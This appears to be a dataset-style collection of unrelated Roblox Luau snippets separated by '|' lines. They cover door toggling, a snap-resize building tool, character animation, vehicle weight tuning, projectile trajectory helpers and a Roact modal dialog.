script.Parent.Parent.B.D4.CanCollide = false
script.Parent.Parent.C.D1.Transparency = 0
script.Parent.Parent.C.D2.Transparency = 0
script.Parent.Parent.C.D3.Transparency = 0.7
script.Parent.Parent.C.D4.Transparency = 0.7
script.Parent.Parent.C.D1.CanCollide = true
script.Parent.Parent.C.D2.CanCollide = true
script.Parent.Parent.C.D3.CanCollide = true
script.Parent.Parent.C.D4.CanCollide = true
wait(0.1)
script.Parent.Parent.C.D1.Transparency = 1
script.Parent.Parent.C.D2.Transparency = 1
script.Parent.Parent.C.D3.Transparency = 1
script.Parent.Parent.C.D4.Transparency = 1
script.Parent.Parent.C.D1.CanCollide = false
script.Parent.Parent.C.D2.CanCollide = false
script.Parent.Parent.C.D3.CanCollide = false
script.Parent.Parent.C.D4.CanCollide = false
script.Parent.Parent.D.D1.Transparency = 0
script.Parent.Parent.D.D2.Transparency = 0
script.Parent.Parent.D.D3.Transparency = 0.7
script.Parent.Parent.D.D4.Transparency = 0.7
script.Parent.Parent.D.D1.CanCollide = true
script.Parent.Parent.D.D2.CanCollide = true
script.Parent.Parent.D.D3.CanCollide = true
script.Parent.Parent.D.D4.CanCollide = true
wait(0.1)
script.Parent.Parent.D.D1.Transparency = 1
script.Parent.Parent.D.D2.Transparency = 1
script.Parent.Parent.D.D3.Transparency = 1
script.Parent.Parent.D.D4.Transparency = 1
script.Parent.Parent.D.D1.CanCollide = false
script.Parent.Parent.D.D2.CanCollide = false
script.Parent.Parent.D.D3.CanCollide = false
script.Parent.Parent.D.D4.CanCollide = false
script.Parent.Parent.E.D1.Transparency = 0
script.Parent.Parent.E.D2.Transparency = 0
script.Parent.Parent.E.D3.Transparency = 0.7
script.Parent.Parent.E.D4.Transparency = 0.7
script.Parent.Parent.E.D1.CanCollide = true
script.Parent.Parent.E.D2.CanCollide = true
script.Parent.Parent.E.D3.CanCollide = true
script.Parent.Parent.E.D4.CanCollide = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Event that fires when a new point is snapped |
PointSnapped = Signal.new()
function StartSnapping()
-- Make sure snapping isn't already enabled
if SnappingStage or SnapTracking.Enabled then
return;
end;
-- Start first snapping stage
SnappingStage = 'Starting';
-- Only enable corner snapping
SnapTracking.TrackEdgeMidpoints = false;
SnapTracking.TrackFaceCentroids = false;
SnapTracking.TargetFilter = function (Target)
return Selection.PartIndex[Target]
end
-- Trigger the PointSnapped event when a new point is snapped
SnapTracking.StartTracking(function (NewPoint)
if NewPoint and NewPoint.p ~= SnappedPoint then
SnappedPoint = NewPoint.p;
PointSnapped:Fire(NewPoint.p);
end;
end);
-- Listen for when the user starts dragging while in snap mode
Connections.SnapDragStart = Support.AddUserInputListener('Began', 'MouseButton1', false, function (Input)
-- Initialize snapping state
SnappingStage = 'Direction';
SnappingStartAim = Vector2.new(Input.Position.X, Input.Position.Y);
SnappingStartPoint = SnappedPoint;
SnappingStartTarget = SnapTracking.Target;
SnappingStartDirections = GetFaceOffsetsFromCorner(SnappingStartTarget, SnappingStartPoint);
SnappingStartSelectionState = PreparePartsForResizing();
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Parts), Core.Player);
-- Pause snapping
SnapTracking.StopTracking();
-- Start a direction line
DirectionLine = Core.Tool.Interfaces.SnapLine:Clone();
DirectionLine.Parent = Core.UI;
DirectionLine.Visible = false;
-- Track changes for history
TrackChange();
-- Listen for when the user drags
Connections.SnapDrag = Support.AddUserInputListener('Changed', 'MouseMovement', true, function (Input)
-- Update the latest aim
SnappingEndAim = Vector2.new(Input.Position.X, Input.Position.Y);
ScreenSnappedPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappingStartPoint);
ScreenSnappedPoint = Vector2.new(ScreenSnappedPoint.X, ScreenSnappedPoint.Y);
-- Calculate direction setting length
local DirectionSettingLength = math.min(50, math.max(50, (SnappingStartAim - ScreenSnappedPoint).magnitude * 1.5));
-- Use the mouse position to figure out the resize direction (until after direction setting length)
if SnappingStage == 'Direction' then
-- Get current angle from snap point
local DragAngle = math.deg(math.atan2(SnappingEndAim.Y - ScreenSnappedPoint.Y, SnappingEndAim.X - ScreenSnappedPoint.X));
DragAngle = (DragAngle > 0) and (DragAngle - 360) or DragAngle;
-- Go through corner offsets representing the possible directions
local Directions = {};
for _, Direction in pairs(SnappingStartDirections) do
-- Map the corner & corner offset to screen points
local ScreenOffsetPoint = Workspace.CurrentCamera:WorldToScreenPoint(Direction.Offset);
-- Get direction angle from snap point
local DirectionAngle = math.deg(math.atan2(ScreenOffsetPoint.Y - ScreenSnappedPoint.Y, ScreenOffsetPoint.X - ScreenSnappedPoint.X));
DirectionAngle = (DirectionAngle > 0) and (DirectionAngle - 360) or DirectionAngle;
-- Calculate delta between drag and direction angles
local AngleDelta = math.abs(DragAngle - DirectionAngle) % 180;
AngleDelta = (AngleDelta > 90) and (180 - AngleDelta) or AngleDelta;
-- Insert the potential direction
table.insert(Directions, {
Face = Direction.Face,
AngleDelta = AngleDelta,
DirectionAngle = DirectionAngle,
Offset = Direction.Offset
});
end;
-- Get the direction most similar to the dragging angle
table.sort(Directions, function (A, B)
return A.AngleDelta < B.AngleDelta;
end);
-- Center direction line at snap point
DirectionLine.Position = UDim2.new(0, ScreenSnappedPoint.X, 0, ScreenSnappedPoint.Y);
-- Orient direction line towards drag direction
if math.abs(DragAngle - Directions[1].DirectionAngle) <= 90 then
DirectionLine.Rotation = Directions[1].DirectionAngle;
else
DirectionLine.Rotation = 180 + Directions[1].DirectionAngle;
end;
-- Show the direction line
DirectionLine.PointMarker.Rotation = -DirectionLine.Rotation;
DirectionLine.SnapProgress.Size = UDim2.new(0, DirectionSettingLength, 2, 0);
DirectionLine.Visible = true;
-- Check if drag has passed direction setting length
local Length = (SnappingEndAim - ScreenSnappedPoint).magnitude;
if Length < DirectionSettingLength then
return;
end;
-- Clear the direction line
DirectionLine:Destroy()
-- Select the resizing direction that was closest to the mouse drag
SnappingDirection = Directions[1].Face;
SnappingDirectionOffset = Directions[1].Offset;
-- Move to the destination-picking stage of snapping
SnappingStage = 'Destination';
-- Set destination-stage snapping options
SnapTracking.TrackEdgeMidpoints = true;
SnapTracking.TrackFaceCentroids = true;
SnapTracking.TargetFilter = function (Target) return not Target.Locked; end;
SnapTracking.TargetBlacklist = Selection.Items;
-- Start a distance alignment line
AlignmentLine = Core.Tool.Interfaces.SnapLineSegment:Clone();
AlignmentLine.Visible = false;
AlignmentLine.Parent = Core.UI;
-- Re-enable snapping to select destination
SnapTracking.StartTracking(function (NewPoint)
if NewPoint and NewPoint.p ~= SnappedPoint then
SnappedPoint = NewPoint.p;
PointSnapped:Fire(NewPoint.p);
end;
end);
end;
end);
-- Listen for when a new point is snapped
Connections.Snap = PointSnapped:Connect(function (SnappedPoint)
-- Resize to snap point if in the destination stage of snapping
if SnappingStage == 'Destination' then
-- Calculate direction and distance to resize towards
local Direction = (SnappingDirectionOffset - SnappingStartPoint).unit;
local Distance = (SnappedPoint - SnappingStartPoint):Dot(Direction);
-- Resize the parts on the selected faces by the calculated distance
local Success = ResizePartsByFace(SnappingDirection, Distance, 'Normal', SnappingStartSelectionState);
-- Update the UI on resize success
if Success then
-- Update "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(Distance, 3) .. ' studs';
end;
-- Get snap point and destination point screen positions for UI alignment
local ScreenStartPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappingStartPoint + (Direction * Distance));
ScreenStartPoint = Vector2.new(ScreenStartPoint.X, ScreenStartPoint.Y);
local ScreenDestinationPoint = Workspace.CurrentCamera:WorldToScreenPoint(SnappedPoint);
ScreenDestinationPoint = Vector2.new(ScreenDestinationPoint.X, ScreenDestinationPoint.Y)
-- Update the distance alignment line
local AlignmentAngle = math.deg(math.atan2(ScreenDestinationPoint.Y - ScreenStartPoint.Y, ScreenDestinationPoint.X - ScreenStartPoint.X));
local AlignmentCenter = ScreenStartPoint:Lerp(ScreenDestinationPoint, 0.5);
AlignmentLine.Position = UDim2.new(0, AlignmentCenter.X, 0, AlignmentCenter.Y);
AlignmentLine.Rotation = AlignmentAngle;
AlignmentLine.Size = UDim2.new(0, (ScreenDestinationPoint - ScreenStartPoint).magnitude, 0, 1);
AlignmentLine.PointMarkerA.Rotation = -AlignmentAngle;
AlignmentLine.Visible = true;
end;
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Parts, Core.Player, false, AreaPermissions) then
for Part, State in pairs(SnappingStartSelectionState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
end;
end);
end);
end;
|
-------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------- |
function onSwimming()
local speed = script.speed.Value
if userAnimateScaleRun then
speed /= getHeightScale()
end
if speed > 1.00 then
local scale = 10.0
playAnimation("swim", 0.4, Humanoid)
setAnimationSpeed(speed / scale)
pose = "Swimming"
else
playAnimation("swimidle", 0.4, Humanoid)
pose = "Standing"
end
end
function animateTool()
if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle)
return
end
if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action)
return
end
end
function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end
local lastTick = 0
function stepAnimate(currentTime)
if script.Parent.Humanoid:GetState() == Enum.HumanoidStateType.Climbing then
onClimbing()
end
local amplitude = 1
local frequency = 1
local deltaTime = currentTime - lastTick
lastTick = currentTime
local climbFudge = 0
local setAngles = false
if (jumpAnimTime > 0) then
jumpAnimTime = jumpAnimTime - deltaTime
end
if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
playAnimation("walk", 0.2, Humanoid)
if math.round(script.speed.Value) == 0 then
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
-- Tool Animation handling
local tool = Character:FindFirstChildOfClass("Tool")
if tool and tool:FindFirstChild("Handle") then
local animStringValueObject = getToolAnim(tool)
if animStringValueObject then
toolAnim = animStringValueObject.Value
-- message recieved, delete StringValue
animStringValueObject.Parent = nil
toolAnimTime = currentTime + .3
end
if currentTime > toolAnimTime then
toolAnimTime = 0
toolAnim = "None"
end
animateTool()
else
stopToolAnimations()
toolAnim = "None"
toolAnimInstance = nil
toolAnimTime = 0
end
end
|
-- ROBLOX deviation START: use custom implementations instead of unavailable node API |
local helpers = require(CurrentModule.helpers)
local format = helpers.format
local formatWithOptions = helpers.formatWithOptions |
-- Decreases the spread based on spread reduction |
function SpreadSimulator:DecreaseSpread()
self.currentSpread = math.clamp(self.currentSpread - self.spreadReduction, self.minSpread, self.maxSpread)
end
|
--[[Weight and CG]] |
Tune.Weight = 2050 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- A variant of the function above that returns the velocity at a given point in time. |
local function GetVelocityAtTime(time: number, initialVelocity: Vector3, acceleration: Vector3): Vector3
return initialVelocity + acceleration * time
end
local function GetTrajectoryInfo(cast: ActiveCast, index: number): {[number]: Vector3}
assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
local trajectories = cast.StateInfo.Trajectories
local trajectory = trajectories[index]
local duration = trajectory.EndTime - trajectory.StartTime
local origin = trajectory.Origin
local vel = trajectory.InitialVelocity
local accel = trajectory.Acceleration
return {GetPositionAtTime(duration, origin, vel, accel), GetVelocityAtTime(duration, vel, accel)}
end
local function GetLatestTrajectoryEndInfo(cast: ActiveCast): {[number]: Vector3}
assert(cast.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
return GetTrajectoryInfo(cast, #cast.StateInfo.Trajectories)
end
local function CloneCastParams(params: RaycastParams): RaycastParams
local clone = RaycastParams.new()
clone.CollisionGroup = params.CollisionGroup
clone.FilterType = params.FilterType
clone.FilterDescendantsInstances = params.FilterDescendantsInstances
clone.IgnoreWater = params.IgnoreWater
return clone
end
local function SendRayHit(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
cast.Caster.RayHit:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end
local function SendRayPierced(cast: ActiveCast, resultOfCast: RaycastResult, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
cast.Caster.RayPierced:Fire(cast, resultOfCast, segmentVelocity, cosmeticBulletObject)
end
local function SendLengthChanged(cast: ActiveCast, lastPoint: Vector3, rayDir: Vector3, rayDisplacement: number, segmentVelocity: Vector3, cosmeticBulletObject: Instance?)
cast.Caster.LengthChanged:Fire(cast, lastPoint, rayDir, rayDisplacement, segmentVelocity, cosmeticBulletObject)
end
|
--[[
A modal based on the default modal used in Roblox experiences to prompt
purchases.
]] |
local ExperienceComponents = script:FindFirstAncestor("ExperienceComponents")
local Roact = require(ExperienceComponents.Parent.Roact)
local constants = require(script.Parent.constants)
local SelectionGroup = require(ExperienceComponents.Components.Gamepad.SelectionGroup)
local RobloxModalButton = require(script.Parent.RobloxModalButton)
local RobloxModal = Roact.Component:extend("RobloxModal")
local defaultProps = {
width = UDim.new(0, 350),
usingGamepad = false,
buttonHeight = 32,
cancelPrimaryColor = constants.BackgroundColor,
cancelAccentColor = constants.TextColor,
acceptPrimaryColor = constants.ButtonColor,
acceptAccentColor = constants.BackgroundColor,
}
export type Props = typeof(defaultProps) & {
title: string,
description: string,
acceptText: string,
cancelText: string,
onAccept: () -> (),
onCancel: () -> (),
}
RobloxModal.defaultProps = defaultProps
function RobloxModal:render()
local props: Props = self.props
local children = (props :: any)[Roact.Children]
return Roact.createElement("Frame", {
BackgroundColor3 = constants.BackgroundColor,
BorderSizePixel = 0,
Size = UDim2.new(props.width, UDim.new(0, 0)),
AutomaticSize = Enum.AutomaticSize.Y,
}, {
SelectionGroup = Roact.createElement(SelectionGroup),
Corner = Roact.createElement("UICorner", {
CornerRadius = constants.Padding,
}),
Layout = Roact.createElement("UIListLayout", {
SortOrder = Enum.SortOrder.LayoutOrder,
Padding = constants.Padding,
}),
Padding = Roact.createElement("UIPadding", {
PaddingTop = constants.Padding,
PaddingRight = constants.Padding,
PaddingBottom = constants.Padding,
PaddingLeft = constants.Padding,
}),
Title = Roact.createElement("TextLabel", {
LayoutOrder = 1,
Text = props.title,
Font = constants.TitleFont,
TextSize = constants.TitleSize,
TextColor3 = constants.TitleColor,
TextXAlignment = Enum.TextXAlignment.Center,
TextWrapped = true,
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 0),
AutomaticSize = Enum.AutomaticSize.Y,
}),
Divider = Roact.createElement("Frame", {
LayoutOrder = 2,
Size = UDim2.new(1, 0, 0, 1),
BackgroundTransparency = 0.9,
BackgroundColor3 = constants.TitleColor,
BorderSizePixel = 0,
}),
Children = children and Roact.createElement("Frame", {
LayoutOrder = 3,
Size = UDim2.fromScale(1, 0),
AutomaticSize = Enum.AutomaticSize.Y,
BackgroundTransparency = 1,
}, children),
Description = Roact.createElement("TextLabel", {
LayoutOrder = 4,
Font = constants.Font,
TextSize = constants.TextSize,
Text = props.description,
TextXAlignment = Enum.TextXAlignment.Center,
TextColor3 = constants.TextColor,
TextWrapped = true,
BackgroundTransparency = 1,
Size = UDim2.fromScale(1, 0),
AutomaticSize = Enum.AutomaticSize.Y,
}),
Buttons = Roact.createElement("Frame", {
LayoutOrder = 5,
BackgroundTransparency = 1,
Size = UDim2.new(1, 0, 0, props.buttonHeight),
}, {
Layout = Roact.createElement("UIListLayout", {
SortOrder = Enum.SortOrder.LayoutOrder,
FillDirection = Enum.FillDirection.Horizontal,
Padding = constants.Padding,
}),
CancelButton = Roact.createElement(RobloxModalButton, {
layoutOrder = 1,
text = props.cancelText,
isSolid = false,
size = UDim2.new(0.5, -constants.Padding.Offset / 2, 1, 0),
usingGamepad = props.usingGamepad,
gamepadKeyCode = Enum.KeyCode.ButtonB,
primaryColor = props.cancelPrimaryColor,
accentColor = props.cancelAccentColor,
hoveredColorShift = 1.5,
onActivated = props.onCancel,
}),
AcceptButton = Roact.createElement(RobloxModalButton, {
layoutOrder = 2,
text = props.acceptText,
size = UDim2.new(0.5, -constants.Padding.Offset / 2, 1, 0),
usingGamepad = props.usingGamepad,
gamepadKeyCode = Enum.KeyCode.ButtonA,
primaryColor = props.acceptPrimaryColor,
accentColor = props.acceptAccentColor,
hoveredColorShift = 0.8,
isGamepadSelection = true,
onActivated = props.onAccept,
}),
}),
})
end
return RobloxModal
|